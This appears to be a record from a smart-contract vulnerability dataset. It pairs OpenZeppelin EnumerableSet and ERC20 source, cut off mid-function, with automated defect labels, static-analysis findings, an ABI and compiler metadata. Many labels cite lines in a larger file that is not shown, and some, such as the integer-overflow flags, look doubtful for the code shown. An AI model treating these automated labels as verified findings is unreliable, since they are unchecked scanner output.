guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1025"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["3006"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["719", "320", "583", "625", "606"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["289", "1366", "851"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["937", "1425", "138"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1046", "1313", "820", "1024"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["1919", "338"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["894", "1463", "1007", "257"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["2596", "2572", "1300", "1359", "808", "845", "1370", "1710", "1718", "2595", "2553", "2552", "2573", "855", "1313", "1216", "1215", "1253", "1252", "1234", "1233", "1145", "820"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["1211"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [109, 110, 111]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [171, 172, 173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [185, 186, 187]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [116, 117, 118]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [130, 131, 132, 133]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [266, 267, 268]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [164, 165, 166]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [273, 274, 275]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [211, 212, 213]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [240, 241, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [218, 219, 220]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [225, 226, 227]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [147, 148, 149]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [64, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [280, 281, 282]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [296, 294, 295]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [201, 202, 203]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [256, 257, 258]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [157, 158, 159]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": [3]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 55, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 56, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 57, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 58, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 59, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 61, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1909, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1994, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 2570, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 2591, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 60, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 97, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1472, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1493, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1866, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1917, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1918, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 1590, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 2463, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 937, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 105, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 864, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 901, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1380, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1740, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1812, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1879, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1932, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2150, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2242, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2337, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2645, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2727, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2760, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2842, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3036, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3065, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3098, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 223, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1458, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1992, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2169, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2266, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2367, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2369, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2371, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2373, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2374, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 2865, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 2778, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 2782, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 2800, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 2805, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 2813, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 3053, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1033, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2271, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2385, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2892, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 229, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 231, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 276, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 277, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1034, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1035, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1036, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1038, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1039, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1039, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1042, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1042, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1043, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1044, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2892, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2892, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2893, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2893, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2893, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2893, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2896, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2896, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 2896, "severity": 1}]
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ERC20_EXT_TRANSFER_TYPE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dao","outputs":[{"internalType":"contract DaoRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"flags","type":"uint256"},{"internalType":"uint256","name":"flag","type":"uint256"}],"name":"getFlag","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"contract DaoRegistry","name":"_dao","type":"address"},{"internalType":"address","name":"creator","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isNotReservedAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isNotZeroAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"memberAddress","type":"address"},{"internalType":"contract DaoRegistry","name":"dao","type":"address"},{"internalType":"contract BankExtension","name":"bank","type":"address"}],"name":"potentialNewMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_decimals","type":"uint8"}],"name":"setDecimals","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"flags","type":"uint256"},{"internalType":"uint256","name":"flag","type":"uint256"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFlag","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"setName","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_symbol","type":"string"}],"name":"setSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"}],"name":"setToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenDecimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.8.0+commit.c7dfd78e
true
10,000
Default
false
mulanV2
0x52a8fcbdcc29e924e86c562e4b36fe6f470bd516
Solidity
// Sources flattened with hardhat v2.2.1 https://hardhat.org // File contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/token/ERC20/extensions/IERC20Metadata.sol /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File contracts/utils/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += 